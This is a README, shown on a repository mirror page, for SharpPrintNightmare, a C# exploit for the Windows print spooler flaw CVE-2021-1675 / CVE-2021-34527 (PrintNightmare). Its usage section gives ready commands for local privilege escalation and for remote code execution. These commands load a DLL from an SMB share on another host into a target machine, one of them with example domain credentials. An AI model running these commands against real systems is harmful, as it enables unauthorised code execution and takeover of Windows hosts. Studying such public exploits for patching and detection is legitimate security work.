1
0
Fork 0
mirror of https://github.com/cube0x0/CVE-2021-1675.git synced 2024-12-23 03:06:33 +00:00
CVE-2021-1675/SharpPrintNightmare/README.md

31 lines
825 B
Markdown
Raw Normal View History

# C# Implementation of CVE-2021-1675 / CVE-2021-34527
### Update
New `CVE-2021-1675.py` has been uploaded which will get the same result as the C# version
No longer need to manually specify pConfigFile with C# version
### Usage
The RCE functionality might need to be executed with local administrator privileges on YOUR machine.
```
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll
#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' '\\192.168.1.20'
#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' '\\192.168.1.10' hackit.local domain_user Pass123
```
![](../Images/poc4.png)
![](../Images/poc3.png)
2021-07-02 00:13:30 +00:00
2021-07-02 00:17:44 +00:00
### Acknowledgements
For contributing new ideas or exploit improvements, thanks to
2021-07-02 00:13:30 +00:00
* [kiqrx](https://www.hackthebox.eu/home/users/profile/72916)